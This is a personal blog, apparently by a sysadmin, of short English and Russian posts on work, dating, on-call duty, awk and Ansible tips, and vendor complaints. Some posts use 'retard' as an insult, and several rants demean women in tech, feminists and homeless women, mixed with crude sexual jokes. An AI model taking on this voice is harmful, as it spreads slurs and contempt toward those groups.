Bitching


If I wasn’t accostumed to the fact that sysadmins/devops related people is lower than the janitors in the corporate “food chain”, I would find insulting that all IT related people in the video are portrait as clinical retards.


Oh wait… I have to take notes on how to properly do regex and not print the first field in awk… nevermind…

Spirit animal


My boyfriend says that my spirit animal is a snail because I’m always wet and slow.
This way to critisize my code is so elaborate, I can’t even get mad at it.

Usage of proper terms is essential


“scumfucking trashfire garbage” pretty well describes the network infrastructure we’re dealing with.


“Shortterm backups for longterm misery” – When you snapshot anything and everything, but tag nothing.


“Failing towards consistency” – this is how progress begins


Nagios: a case study of how to fuck shit up


Icinga: self abuse tool

More efficient methods of debugging.


*rubber duck debugging:* method of debugging code where the programmer explains his code line-by-line to a rubber duck.
*rubber dick debugging:* method of debugging code, you walk around with a giant dildo in hands and slap the coder with it each time he does something stupid.

Gas mask


Punk concert:


– What u r protesting against?
– Not ur first Bad Religion show! You’re a true fan because the song… oh… allergies? Fuck that!
– Take it off, you can’t breathe with that!
– I’m a dog groomer / firefighter! I know what that is!
– Cool!
– Take it off, you’re not the coolest one here, bitch!
– Yo, girl! Isn’t it too hot for that?
– You stuck weed in there to be high AF constantly, didn’t ya?


Metal concert:
– \m/
– \m/
– \m/
– \m/
– \m/
– To boyfriend: Cool chick, bro!


Stores and public places:
-People stare, sometimes scared, sometimes judging.
You get a really different treatment.
A gas mask not only purifies air, for you to breathe, but also filters assholes… unless it’s ppl with a fetish… which are way more common that one thinks…

Ыыыы


Нет ничего невозможного, если ты охерел до нужной степени.


Такое настроение сегодня хорошее, что не в сказке сказать, ни матом сформулировать.


Как говорила моя бабушка, если напакостила, а чувство вины так и не пришло – значит, всё правильно сделала.


После 30 у женщин слабеют мышцы ушей и лапша перестает дердаться.

Lead like a queen. (this title needs more arroganse)


Entered elevator. Lights went off. Elevator stopped.
Had to be rescued like a princess. Firefighters were cute. Must do this more often (still single)


I’ve pressed buttons.
He pressed buttons.


I’ve sat my ass on the floor (thought it would take hours).
He sat his buttox on the floor.


I’ve called the operator.
He finally unfroze and started interacting with ppl trying to help us.


Firefighters came in and spoke to us. We’ve stood up. They told to keep away from the door.


I did the slav squat in a corner… asthma meds make you high as fuck. Taking them right after driving to the office is the perfect time. You can put anxiety to code.
Dude did the slav squat. Not entirely sure why. He wasn’t sure either.


The whole adventure took less than 20 minutes (Maybe the cute firefighters are from the X-man team and can teleport), but after the “terrifying” 15 minutes of semi-darkness, I’ve realized, that no matter what kind of shit you do, people will follow if you LOOK like you know what you’re doing.


Even if you’re wearing a gas mask. horns, a leather jacked and a bunch of other stuff that may make people question your sanity.


The poor guy told me he was shaky for a while after this.
Shit… wait… now I get why… xD

Spring


Spring has come.


3 of my ex’es called.
An one night stand fuck messaged me to “build a relationship”.
A 37 years old grandpa tried to convince me I need to meet him (at 11pm).

Automation is a derp


I’ve spent a couple of hours trying to query some info from about 500 servers.
It was an one time task.


Then it came to me… a bash one liner, showing the current status of my mental retardation.

Genious Awards


Sometimes I wonder how people manage to be excellent in multiple domains.
How it’s possible, the same person exceeds all the known limits on mental retardation and annoyance at the same time.


He deserves a prize.

Choices


Life often presents us with difficult decisions to make, such as “do I keep on with the diet and exercise or just eat the damn waffles and become the symbol of 2019?”

Fitness.


I wanted to get up at 6 and to to the gym before work.
I got up at 4 and went to the fridge and back to sleep.
I consider myself fit, because I still fit into sweat panths.

Insisting


I’ve recovered a mail account to which I didn’t log in in decades.
Guess what I found… a job offer… that matches my profile…
It seems HR are pretty despered and ingenious those days.

Decommissioned


I’m the generation that automates legacy.
This is when I see old sysadmins being decommissioned.


In today’s cloud (agnostic) world, the second you stop, you’re done.


We’re the infrastructure, because we’re the code.
This is just real life autoscaling.


We’re all just another image on the internets.

Magic



I’ve found the true unicorn. His code works mainly because of magic. If there was no magic, shit would have burned a long time a go.

Security is a derp

They grow up so fast… My mom got her first smartphone.
She can now share pictures of her flowers with her friends…

…after I’ve blocked an entire arabic family from Lybia who was spamming the number through whatsup in arabic…

Chat logs were available for longer than what the phone was in our possession.
Also one can request a dump of the account after the old owner lost his number.
Should be ready in 3 days.
Wonder which data will be packed there.

♬♪♫♬ Derp derp derpy derp ♬♫♪♬

Why?

This week, I’ve asked that question more times than the last year, but I’m slowly approaching the stage of acceptance.

It’s ok.

<3


Dear Internet,


I’m in love.
Today is the first day in my life where a linux laptop with encryption and anti-virus was provided to me as the “default”, just like other people get Windows and Mac, I got Linux, a secured one.


There’s a first time for everything.
Things you don’t believe in, may suddently come true.

Pretty

Пришла на собеседование красивая. Там решили, что я умная и дали бабла.
Обьявила маме зарплату. Она разволновалась. Спросила нужно ли теперь ездить на работу и есть ли место с аналогичными условиями, где на работу ездить не надо.

Действительно…

503: Brain not available.

I’ve unlocked a new achievement in life: Fail every single question from an interview, even those that are basic and those that I know BECAUSE I WAS USING THEM EVERY SINGLE DAY BEFORE VACATION!!!!! 

… and the second, your ass touches the car sit, it’s even worse, because all those responses and more are slowly filling your head…

Why, Brain? Why you do this to me?

I should rename this blog to derpy.me…

Сильная независимая женщина/ Strong Independant Woman


Зашла на тиндер, получила предложение о работе… по специальности, а не то, о чем вы подумали.
————————————————————————————————————
I went on tinder. Got a job offer. Not the one you think, but actually to work as a sysadmin.
It’s time to get another cat.

Poverty


Живу я очень бедно, ем заплесневелый сыр, пью просроченное вино, езжу на машине без крыши…

С просторов ентих ваших инретнетов, но на самом деле всё так и есть…

За 30.


Наверное это старость. Хочу беспроводный супер-пупер пылесос за 300 баксов, мега-швабру, новый хламадильник и понтовый очиститель воздуха…

Лялечка, 31 годик.


У всех людей зоопарк тараканов в голове, но к своему тридцатничку, я всё же еще не поняла кто мои… 300 спартанцев или подразделение ВДВ.

The end is near!


I really wonder, if it’s a good or a bad thing that cellphones adapt your auto completion suggestions depending on the type of app you’re using.
On one hand, I’m pretty happy there’s no BDSM terminology when I’m composing emails, on the other, it seems that the rise of the machines isn’t that far away any more.

I quit


My ex-boss is like Microsoft, he fucks people in the ass with a big fisting dildo and no lub, while smiling and telling it’s for their own good.
Sorry dude, but I’m Gentoo based.

oh technology!


Your attempts to keep your privacy are futile.

Surrender, puny bag of meat!

I’ve never linked my instagram to my facebook, yet, can login in insta with facebook  with no issues whatsoever.

awk


# Don’t print first field
awk ‘{ $1=””; print}’

# Don’t print first N fields… cuz me so smarties can’t figure out this shit each single time…

awk ‘{ $1=$2=””; print}’

Plague is spreading


… to IT.
Got this in my mailbox:
“Women Tech Leaders (And Male Allies) At Motivate Want To Meet You”

This is like gangrene, you miss the moment when it starts to matter which body part you have for fucking in the computer field, but when you realize it, it’s already too late.
Soon, the only requirement to get a tech job will be vagina, you’ll just have to press all the buttons and your male slaves allies, will do the job for you for free.

Butthurt


Returned from a 3 month sick leave for anxiety & depression.
Worked for 2 months.
Told boss anxiety is getting to the point where I can’t manage it any more, mainly because of lack of windows, natural light and current construction noise.
Got told I should compensate my co-workers for not doing oncall (prohibited by doctor) and that I have to come up with a huge ass project that will solve all the problems of ops.


Didn’t think it was possible to dismiss someone’s health issue completely in order to twist it in such manner, that something that I’m driven to do naturally, now sounds like a chore and a punishement.


Good job, dude!

Dating sites


I think I can diagnose by the picture…
This dude’s selfie seemed weird, but rest of pics were fine, so I’ve added him on facebook.
Well, I should trust my senses, his wall is filled with:
– “poetic” stuff of how much he wants to love and be loved
– as well as complaining no one want to rent him a flat with 2 bedrooms and a living room cuz he’s on welfare
– videogames posts
– things like “stuff to not say to someone with brain issues”.
– people are assholes, cuz don’t want to help people with brain fog


…starting to think dating sites are not suited for dating xD

Photoshop

Everyone knows that girls enhance their pictures. Sometimes it’s just a good angle and filters, others there’s more heavy artillery like photoshop and other photo editing software.

Guys aren’t like that. Guys don’t even bother. They simply upload a ripped naked torso, without the head obviously… without bothering that the dude on the picture is white and the real dude is latino&indian.

Fatass

I’ve been checking mah fitbit at the same time every day for a while.
There’s about 200 additional calories burned by 2pm if I’m coding something.
I wonder if this is why I constantly craving sugar while at the office.

Dumb

Sometimes you feel like a dumb fucktard.
Then your boss tells you’re the first one to pass X certification, that other people didn’t pass yet (and you know they’ve tried), but you’re like, well… it must be easier for me, because bla bla, derpy derp and trololo.
Accepting own stupidity for some reason is way more easier than accepting success.
Why?

Foodsies

Getting pad thai from uber eats (preparation and delivery) is way faster than just waiting in line in Thai Express and then waiting for the order to be made.

So technically, I ate 1.5k calories and have a great justification for not moving to burn at least some of those off… cuz it’s not taking time of my work.

This is why today’s society is getting fat as fuck.

PS: is there uber beers yet?

Ansible for derps

Since my level of retardation varies depending on the day, I need to put this somewhere.
Loop_vars causes a segmentation fault in my brain, so hopefully, this example won’t cause me to loose a shit ton time again.

vars.yml


    vhosts:
      - name: clusterfuck
        production: "clusterfuck.community"
        staging: "clusterfuck.community"
        sandbox1: "clusterfuck.community"

      - name: dirtyinode
        production: "dirtyinode.me"
        staging: "dirtyinode.me"
        sandbox1: "dirtyinode.me"

The main task that allows loop control (configure_sites.yml):


- include_tasks: configure_sites_chilf.yml
  with_items: "{{ vhosts }}"
  loop_control:
    loop_var: website


- include_tasks: configure_sites_child.yml
  with_items: "{{ vhosts }}"
  loop_control:
    loop_var: website

The child task that receives the parced vars (var name changed from item to website)
configure_sites_child.yml

# env_name comes from another ansible var, created somewhere else in the playbook
# basically, it's prod, stage, dev, etc.
# can use ec2_tag instead
- set_fact:
    website_url: "website.{{ env_name }}"
- name: Generate https sites conf files
  template:
    src: sites/generic.conf.j2
    dest: /etc/nginx/sites-available/{{ item.name }}.conf
  with_items:
    - "{{ website }}"


There you go, future self, hope you fucking derped less this time.

Saturday facepalms

My banc must have realised, their identity verification on the phone sucks so much, that they’ve quit doing it.

Now you simply need the card number to retrieve information to set up direct deposit and do other stuff.

In wrong hands, your card could be a big pain in the ass.

 

Don’t lose your cards.

Life realisations of an Orc

A while a go, I asked a dude, how he spotted I’m batshit crazy, what’s the thing that makes me different.

He promised to think about it, but never told me the conclusion.

I finally understood.

It’s because I am…

 

I’ve come to the realisation, that I may be an ork in real life.
I’ve come in contact with a group of human females recently and my mind was blown.
Sometimes, they’re just like they picture them on the internets… stereotypical, nonetheless, impressive.

 

So I’ve learned the following recently:

– when girls say, they’re going to eat and have 1 drink, it literally means they’re having 1 drink
It’s the opposite of dudes, where if you eat, it means “We plan to consume amounts of alcohol not compatible with life later on”

– Before doing the first “cheers”, you have to wait like 30minutes, till everyone gets their instagram ready, for the story… then there’s one girl, that has some kind of problem and you have to wait another 5 minutes.
You sit there sadly, trying to not sip at your drink too much, because it would look bad on their story, if your glass is like 3/4 empty.

– Girls can’t drink shooters. I’m conflicted about that one… I mean… If the shooter is THAT DISGUSTING, why do you care that much? You should have experience swallowing untasty things anyways xD

– Because girls never drink shooter, they have no idea of what a “BlowJob” is.
The drink, you perv! It’s a delicious alcoholic drink with wiped cream!
You have to lick it off, then drink the shooter, without using your hands.

– BlowJobs calories count!

– About half of the girls don’t leave tips. The other half gives small ones.
Everyone has a different amount of money and sometimes you’re just poor. But come on, you do have a dollar.
Feld bad, had to compensate the servant. I hope he didn’t held a grudge on us.

– Girly jobs don’t pay well. Most of the girls “count their money”, while out.
Everyone does, poor dudes too, they just don’t show.

– Girly jobs suck. Everyone has to put up with some kind of bullshit. They’re fed up, they don’t have freedom. They follow some dumb rules, that consume peoples souls over time, because it’s the corporate policy.
Everyone interumpts them and no one listens to their ideas.

– I fucking drink like a horse and my manners do match those of an Orc. My jokes are vulgar and my body language – bulky and agressive, without any hint of delicacy.

– It’s true fat girls are shy to eat in public. They order a salad and a tiny amount of fried onion rings. She was shoked I’ve ordered poutine with extra bacon, cuz I’m fat too and in the girl world, you’re not fat because you consume a fucking double of what you need in calories daily, it’s some kind of magic shit like “genetics” or “hormones”, so in restaurants, you want to show everyone, you’re eating healthy and “it’s not your fault”, so you order a salad.

I think she also may have dropped saliva on the desk, but I can’t confirm at 100%, it was dark.

Sometimes it just takes a slimy, cheesy, hot potato to make you happy. Life is so simple, we overcomplicate things our selves.

– You have to eat and drink very slowly. Girls normally sit chatting in a bar for long time, but consume not a lot of food & alcohol… unless you make them 😛

– Fat girls and bitchy girls are nice(may be or may not, both things at the same time, apply patterns accordingly. It may vary). Sometimes, they’re just a little miserable and feel like crying.

– Eating with dudes is way easier, you just stuff your face with food, gulp barrels of beer. Then, someone orders a dessert for you, so you have your 65th foodgasm in the night. Man like to see you satisfied, regardless the field of satisfaction.
WIth girls, it’s easier to follow a diet.

Many will also offer to go to the gym with you the next day, since they’re gentelman of course!
Other type of calorie burning activities are often also available. Man just want to make your life easier.

– Girls look much better in fashion clothes and with makeup, than in sports clothes they put on for exersize.
I must study that art more. Some dress very fancy to go to a bar. I’m not entirely sure why. It’s just a bar.

– While going for drinks with dudes, it’s me who makes everyone wait, cuz tying my boots takes some time.
While going for drinks with girls, u have a shitload of time to practise some stretching and also take selfies in your favorite Gentoo T-Shirt.

– Drunk girls are way friendlier than sober girls.

I will continue to observe those magnificent creatures .
I don’t think they have been studied enough and they clearly are still so misunderstood.

Monday

Juniper is a berrie, Elk is an animal, Vault is a type of ceiling.

“Vault Architecture” search does not give me what I’ve meant at all.

Live is hard.

 

Later on, the universe decided keep reminding me, it’s all mater of perspective.

 

Realisations about tits

Trisha Paytas got her tits done… and they look “natural”, like if she had grown them… they look worse than mine…

I’m at the stage of my life, where I don’t have  to look up “ugly boobs” on the internet to feel better… cuz people are paying ridiculous amount of money to get what I’ve got.

 

When the grass was greaner.

I was the only one to be nerd in miles. 

Now every second profile on a dating app says “I’m so nerd”, every other one says “I’m a huge geek”.

Sad.

 

Being a weirdo is still not cool tho,

 

Old people…

My facebook is adulting. I’ve asked “yes or no” to a fucking expensive videocard and everyone sayed “no”.

Poor eldery people. Adulting must suck.

Fonts

I’ve never thought that installing fancy fonts could be ever usefull for something else than eyecandy.

Results, you need them to convert QR in shell output to image file.

I’m feeling trully blonde today. 

So much time wasted due to a stupid missing font… and I wont start with the 300 mails in 1 minute that I’ve sent by accident…

Ебанутость или яблочко от яблоньки…

Вот смотрю на енти ихние америко-канадские семьи  и понимаю, что у меня никогда такого не будет. Уж больно они скучные нормальные.

Накрашенные девушки со своими парнями. 2 бутылки вина на 8 человек, а “праздничный” ужин, намопинаеющий мою диету…

Честно попыталась представить, как бы выглядела моя семья в такой ситуации, но никак не получаеться убрать ебанутость.

 

Картина маслом. Сначало бы бедного мужика напоили, потом бы затроллили.

После, дракоша сказал бы ему привет и может быть даже спросил, не считает ли он, что у меня в комнате слишком мало аквариумов.

До того как я закончила бы знакомить его со всеми рыбками, у каждой из которых, есть имя и история, он бы уснул, если бы конечно не испугался коллекции черепов… а то мало ли… и такое бывало.

 

Нда… наверное замужество мне всё же не светит.

ЗЫ: почему муж сидит рядом с мамой, а жена по ту сторону стола? Как же друг друга лапать на таком расстоянии? Особенно когда мать так бдизко…

А какой ты покемон?

По утрам, девушки деляться на 4 типа:

  1. Пусть не накрашусь, но посплю.
  2. Пусть не накрашусь, но пожру.
  3. Пусть не посплю и не пожру, но накрашусь.
  4. Везде блядь опоздаю, но посплю, пожру и накрашусь!

 

Dude

Someone you’ve always  considered stronger and smarter, lays in coma in a hospital.

We’re all bags of meat.

Feminism is cancer

When I’ve chosen the path of the SysAdmin, you had to have skills and brains to be one. 
Today, you just need a vagina because “females in IT” and “the gender gap”.

This is not equality. This shit is completely dismissing all effort, time and dedication I’ve put in my vocation, as well as the effort, time and dedication, that my fellow brother sysadmins have put in it.

The only result that can come out of this, is HR closing the eyes to stupidity in order to fill a necessary percentage at a position.

The only thing this can cause is reinforce the belief that woman and computer don’t go together, because someone has to compensate for the incompetence of females, who got shit served on a golden plate because “gender gap”.

Can you guess who’ll have to do that? 
Yup, you got it right, those who got balls.

Fuck this shit.


Security…

Samsung really cares for the security of the data on your phone.

If you didn’t unlock it for 24hs using the fingerprint, it asks you to enter the password.

Do they assume that each 24hs someone else could have my finger?

Logic? Clearly missing.

Sometimes

Sometimes you’re oncall.
Sometimes u have to wake up people.
Sometimes u feel really sorry for them, cuz they sound realy tired.
Sometimes, they wish you “Good Night”.
Funny fact. The other  oncall dude will txt u saying it’s resolved, cuz if u awake, u text back, but if you sleep, he does not wake you up.
But the “healthy” people who work 9 to 5, say you can’t wake up early due to a lack of will.
An oncall dude is never going to call a 9to5 dude at 4am, but the 9to5 dude is going to call at 7, because for him, it’s “morning”.
Today many things hapent and the events were pretty fun. 
I wish I could just sleep, like the 9to5 dudes…

Present

When you’re 16, you cry because you have to leave your friends.

When you’re 30, you look back and really feel thankful to not have the same kind of life and to not see any more of those people.

 

“People change” and “people don’t change” at the same time.

I’m the same as when I was 9, but at the same time, very different from where I was 16.

I’d say “Thanx God”, but that would be hypocritical.

Thank you, Satan.

Less is not more

Less is not more…

I watch my old “friends” and aquitances get covered in stupid and sit on their asses burning their lives in vain.

Because the name of one of your dogs is important enough to get it forever across your chest, as a poor quality tatoo.

I don’t know if it’s out of despair, or it’s the fishtank syndrome, when a smaller tank gets placed into a bigger tank, but the fishes are so used to have the air on top, that they don’t even try to go to explore.

Диеточка

Фитоняшеньки ужинают кефирчиком с помидоркой, что бы быть стройными.
Мне вот только непонятно, сколько кефирчика надо… Литр хватит?

Proud

I’m so proud of my regex! … and of the fact that it works… xD

“^\/tmp\/[a-zA-Z0-9-]{0,8}\-[a-zA-Z0-9-]{0,4}\-[a-zA-Z0-9-]{0,4}\-[a-zA-Z0-9-]{0,4}\-[a-zA-Z0-9-]{0,16}$”

Man still exist!

Thanx Universe man still exist!!!

My coolant has leaked… like a lot, like there was none in the tank!

First my co-worker came to the resque and backed me up oncall… cuz I got all dirty checking my car and touching my laptop would not be a great idea if I needed it. Like VERY DIRTY!

Then, when I got to Canadian Tire to get the coolant… some extra canisters of coolant, cuz it leaks badly, some dude helped me carrying them.
It was to get my number tho, but my back appreciated a lot the gesture of kindness. 
The dude actually had a funny pickup line (I didn’t get it till the last moment) and definitelly made me laugh, which definitelly made my day better!
Then he gave me a hug (like a highschool hug, like when u almost don’t touch the person, which I find polite… and funny) and left cuz I told I’m calling an uber and I’m fine.

Then, I tried to call an uber, but the app froze and rebooting my phone would not help.
When I had the “Fuck my life” face, a taxi stopped and got me to my car… with no charge.

Then I had to drive fast to get home before the cooling liquid leaked… and there was police… and they stopped me.
I’ve explained what’s happening and instead of giving me a hugeass ticket, they escorted me home with sirens and shit!

I’m SO FUCKING GLAD that not all man got brainwashed by the stupid ass feminism which tells people woman are equal to man and have to deal with their shit by themselves and that there are still gentelman on this world!

If I had to fix my shit all by myself with no help, I would succeed, but damn it would be much harder, I would be tired and angry right now instead of having a good day regardless Lucifer having a bobo.

Go down

Today a man was repeatedly telling me to “go down”.

Of course he’s a developer and he’s a frenchie.

He simply wanted me to scroll down on the code.

 

But I didn’t tell him how that phrase sounded to me.

 

Microsoft <3 Linux

Image result for WSL windows 2016

 

Sex is proven to be good for cognitive functions.

If each time someone said “fuck Microsoft” or “fuck Windows” they got fucked in real life, they would for sure be leading all fields of technology.

However, this is not the case, so they still play the propaganda game, where they try to hide how much they suck with shiny advertisement moves.

Windows lamers been screaming for a while “OMFG! Look! bash in windows!!!”, however, when you try to automate shit, WSL results to only be supported on Desktop versions of Windows… #FML #fuckmylifehardcor

 

 

Nerdgasm

That feeling, when your keyboard is one of the cheapest mechanical ones, but it still does all the custom gaming lighting. 
… and no proprietary software is required…

 

Logic?

Why cheapy stuff like $2 kitty earings ships fast & for free, while u r charged fees and have to wait a week for mechanical keyboard shipping? T_T

They say woman are more compassionate and nurturing.

Was driving on the 20, it’s summer, I have the roof open. It started raining. Traffic was slower than a grandma.

Stopped at an “isle” where I would not bother anyone. At a place where 2 highways merge.

I had to close the roof and I would not be near an exit anywhere soon.

Some dude from the right lane: Hey! Are you OK? Need help?

Me made some dumb joke about “rain happens”

Girls from a gray shitty honda: LOOOOOSER!!! HAHAHAHAHAHA! (*mean girl laugh*)

I regret loosing them out of sight quickly, I have a strong feeling some instant karma should have happened.

I wasn’t offended, just surprised. I mean, their car was pretty shitty and I’m a looser for not closing the roof of my sports car when it can rain?

 

 

So they say woman are more compassionate and nurturing than man. Are we really?

If feminism ever dominates the world, they will kill all man first, then they will eat each other alive (no, not in the way you thought, you dirty minded troll!)

What I’ve done today?

  • impress (actually competent) people doing basic shit like moving data and using my awk skills
  • waste too much time on shit I consider retarded
  • get proud and jealous at the same time of my co-worker, who developed 2 ansible modules in a day while I was stuck on stupid shit

It’s pretty hard to tell if the day was productive or disappointing

Lost forever

Today at WalMart I saw a kid…errr… a teenager/young adult being so happy about his new phone.

“It’s big! But big is better, right?! So it’s definitely worth it!”

He also said he’s a youtuber (who isn’t those days?) and passed a paper with his channel to the girl working there.

(She really had lots of patience and was good with clientelle. She must be used to this, but I don’t understand how she didn’t loose her soul on this job yet…She was also pretty)

 

His excitement would just shine!

You can’t fake this emotion, it shows through your eyes.

It really made him happy.

 

 

When did I loose my ability to feel happy?

 

I can no longer tell what even would potentially make me happy.

 

 

 

Another stalker

Oh, social media!

Apparently when someone is visiting your profile over and over again on linked in, LinkedIn sends you a notification saying “Congratulations! You’re the most viewed person in $FuckingJerk’s_Name network.”

I don’t care about this persons life and I’m in no contact with him, but apperently he cares about mine and tries to stalk in all ways he can.
Something tells me he’s jealous as fuck of my “success”.
I wonder how many times he had to visit my LinkedIn profile, for them to send the notification to me.

All of them…

The person who I think he is, does not really exist.

It’s all in my head…

 

He’s not a tortured sould that need my special kind of love.

It does not to change his behaviour or motives… nor actions.

 

He’s morally bankrupt and never appreciated any of the things people (or me) did for him.

 

He feels entitled nice things directed to him.

 

My unconditional love is disposable…

 

 

What if?

My best friend became a feminazi.
The dude I was in love with, still didn’t finish school and still works at the same place. He still plays his guitar and drinks his beer. He didn’t advanced in any aspect of his life.
I’m scared to think what would I become if wasn’t forced to change the environment.

 

 

Never change

On my fist years of being sysadmin, I’ve facepalmed when finding stuff I’ve done previously.

Six years later, after getting into the all fancy devops movement thing, nothing changed. 

 

 

Shedding tears of joy

While witnessing mother (50 years old) providing qualified tech support to grandma (80 years old), so confident and professionally sounding.

I think she can now have a lvl1 support job… if only she spoke english…

Introverts

 

My facebook feed is filled with “information” about how to understand and act with “introverts”.

I didn’t knew “introvert” meant “a special snowflake egocentric attention whore”.

Judging by facebook and the amount of reposts/likes, that’s exactly what it means to be an introvert.

Priceless

The look on the face of a network dude, when you point to the big button "create" on his screen, answering his question on how to create a page.

Happens to me all the time, first time I'm on the other side. 

Ouch!

Pain level of someone who puts a big chunk the internet down.

At 9:37AM PST, an authorized S3 team member using an established playbook executed a command which was intended to remove a small number of servers for one of the S3 subsystems that is used by the S3 billing process. Unfortunately, one of the inputs to the command was entered incorrectly and a larger set of servers was removed than intended.

https://aws.amazon.com/message/41926/

 

Done with this shit.

 

Sister threw a tantrum because I was all day home yesterday(working remote due to sickness) and didn’t clean the house.
She demands to know my exact work schedule because she thinks I’m having more days off than her thus she can stop cleaning the cat toilet. Her only responsibility.

She’s been living at my place for the past 10 years.
My work schedule is normal 9 to 5 with weekends off, for the past 4 years or so.

Who is this stranger and what she’s doing at my house?
I’m not sure about the answer to the question, but this princess is getting the fuck out of my place.

X

Getting phone calls from drunk ex-girlfriends is better than getting calls from her drunk ex-militar father.

WTF Google?

Who’s the retard that decided to move the “View certificate” feature to “Developer Tools”?
Why you make me re-teach my parents how to verify the SSL. It’s not so easy for them.
Who’s the asshole that makes it more difficult for older people to avoid scam sites?

 I want to look them in the eyes.

 

Sysadmins, the assholes.

Well… adds are there for people to watch. This one for some reason caught my attention.

It was the typical add until…. 

 

Oh you poor little girl, I’m so sorry those mean bastards of sysadmins almost fucked up your day by letting their stupid server go down!

But I’m so glad you made it through the day even if you can’t spell shit properly! Good Girl!

 

Rarely, but I do wish I could punch people over the internet.

Microsoft… derp

So while visiting an Azure training (where I didn’t learn anything new, because everything is just like in Amazon and they didn’t even show the API), I’ve created a new account, because it was required to access the Microsoft’s Azure account temporarily.

I was signed in on skype with mother’s account, because had to change something for her and didn’t sign off.

 

The skype account got linked to the test outlook account automagically… WTF?

When I went to fix it, I could not. There’s no longer an option to unlink the accounts.

Contacted Microsoft support only to hear even them can’t fix it, because they’re a bunch of DERPS and merged all the things, because they want to compete Google in eating your soul.

 

IT’S NOT THE CORRECT ACCOUNT YOU FUCKING MORONS AND WHY THE FUCK DID IT GET LINKED WITHOUT CONFIRMATION IN THE FIRST PLACE???

 

All the services send you a “confirm this email address” mail, there’s basic verification mechanisms, but I guess for Microsoft, they’re way too complicated.

The world needs it’s retards

I only wanted to shrink a partition and create a new one under Windows… because was updating wow… and didn’t wanted to wait to reboot to Gentoo.

Windows – the shit that I have on my PC because even if the people says the battle.net launcher works fine under wine, it never did for me.

 

It marked all drives with a letter, scrapping everything.

When restored grub, even the Windows partition lost it’s data.

 

I’ve already been through this. I guess I’ll never learn.

Awesome job is awesome.

I thought I was having a really shitty Monday:

  • Overslept very badly
  • Spent 45 minutes searching for keys
  • When sat down to think where the hell I’ve left them, cat got on my lap and… vomited on my clothing
  • Forgot gloves and it’s freezing outside

Then got at the office and got a salary rise for “what you have learned and what you have done”.

 

Microsoft training

 

I love going to Microsoft events. They make me feel like a good and smart sysadmin (because devops is a philosophy and not a profession).

People presenting isn’t challenged. They understand linux ways, cloud, devops and all the fancy things… teaching them like they were their own invention and like they’re the cheapest with the best quality.

(Come on Microsoft, I really would like to see why Azure is better than AWS. You’re not the most convenient price-wise)

 

People attending those training is another story.  Some are just… derp. 

Well… at least the basic stuff Microsoft was teaching was usefull to someone.

Rest of people look just like… legacy servers. Still working, but so old and “olschool”. 

 

 

If I ever become that, please kill me.

 

Females in videogames

Didn’t you hear that females in video games are over sexualized and that their armor is showing too much?

Funny fact:

  • There’s 17 people in my guild(including me) who are currently online in discord
  • 1/14 males have a real picture
  • 2/2 females have their real “cute” pictures
  • 1/2 females are trying to show cleavage.

 

I’m hesitating here… show them what a descent cleavage is or to not stoop down to their level.

Xmass Gifts

There’s one that I’ll definitely not be giving to anyone ever.

Google play gift card. Annoying as fuck & appearing in each youtube video you play, sticking their theme song deep in your head, to the point of giving you a nervous tic.

You had one job…

There’s no giphy in the world that can express the feeling, when you trusted your co-worker to do your ticket, one that takes 5 min and 4-5 clicks… and he fucks up…

…in such manner that the client has downtime each time when he deploys…

…and in the manner that backups don’t work…

… and you realize you have to check the setup of his clients, because you just can’t trust his sysadminning skills…

… but you can’t “apply discipline” to him, because he has quit…

 

… you just end up hoping, that one day, when you grow up, you will make an idiot proof setup, that even sysadmins can’t fuck up…

Computer people…

Sysadmin froze for 2 minutes trying to figure out what the picture on the left means.

Sysadmin figured out & LOL.

Sysadmin send picture to programmer.

Programmer: I don’t get it. What does the picture on the left mean?

Sysadmin: echo  $normal_human_interaction

Programmer: GetNormalHumanInteractions(); <- undefined

Programmer:  compiler abort

 

 

 

 

Sysadmin Karma protects me

bad_clusterfuckWhen I run something as simple as a bad bash script that will fuck up my prod, it just goes segmentation fault before affecting anything…

Today I found 2 things in my own shit that mean to run on staging only, but would run on prod because $reasons.

I found them before running it. Because weirdass no reason anxiety was not going away, I started testing again, in new perverted ways.

There’s QA for devs, why there’s no QA for ops?

That time of the month…

I had issues waking up and was not motivated to get out of bed. Felt nausea and was irritable as fuck. I felt sick…

At 10 my cell sang “the server is on fire”. This explained everything. It’s that time of the month. I’m oncall.

 

fire-guts-computer-server-warehouse

Google cares about end user comfort

Recently I’ve noticed that the pictures I take with my cell are available to attach when I send e-mails.

I only noticed because of the NUDE SELFIES that google so kindly offers me to send…

 

Thanx Google! I don’t know how I lived without this feature! Writing personal mails at work was so boring without flashing my tits to my co-workers!

It’s OK to be a retard

…because we all are… and the humanity is doomed anyways…

My programmer told that his team was searching for a bug for 2 days… and it also was only one line…

 

We are all retards. I need a drink.

retard

DevOps Nightmares #2

There was a Zombie Apocalypsis.

Each time a process became zombie, a human would too because all humans are linked to a process and our world is just a server.

My team lead was trying to help me to fix the problem.

The problem came from my code, which was a tiny part, but still a part of the world.

I was using the worlds API poorly, because I could not understand some function…

DevOps Nightmares

I was fired because my commit messages are “inappropriate” and “not professional”.

I’ve spent the whole night texting the team lead begging to not fire me, because this is my most favorite job ever.

I was trying to explain him, those commits were made when I was 14, before even I started working, and when I was underage, so they could not be a valid reason to impact my career.

 

When I woke up, I was so happy that I got my fist computer at 18…

 

ClusterFuck!

Things I broke today:
– monitor (BIG scratch)
– laptop monitor (small scratch)
– HDMI cable
– Nail

Remember boys and girls, cable management is as important as password strength.

Now, if excuse me, I have to go get me one of those:

bubble_wrap

 

I <3 Gentoo

First time booting from the liveCD, always booted from the mininal-install.

It’s actually… pretty!

 

And penguins can fly, cuz they’re Gentoo 😀 

 

gentoo12-wallpapers-20-1600

What’s the point?

Social Engineering are big words that mean nothing in today’s retarded world.

What’s the point of calling to activate a credit card if all the info they ask for is on the credit card and all questions that a bank asks you on the phone can rightly be answered by “yes”.

Vaginas have it worse

 

It does not matter that the higher  % homeless people are male.

It does not matter than the redhead girl is wearing mascara. It does not matter than average price drug store mascara and a pack of pads are the same price

It does not matter that to be fat you have to eat in a caloric surplus and to obese as one of the girls from the streets, you have to eat a shitload of stuff.

It does not matter that pure breed dogs are expensive as fuck and that a homeless person should not be able to afford one.

It does not matter that periods are only once a month and homeless people have hygiene needs daily. Yes, pads are needed, but definitely should not be the center of attention. My mother and my sister were wearing just a piece of cloth back in Soviet Russia and it was normal. Pads are a privilege, a comfort of the modern world. 

Lets disregard the common issues that all the homeless people have. Homeless female have it worse always! Because vagina! So pay attention to the PMS here yo!

And for sure, it does not matter that face tattoos and statement that she likes to live on the streets is a choice, a choice to be in shit rather than work and pay for your own tampons. 

Lets just have pity on leeches and let them feed of us.

 

 

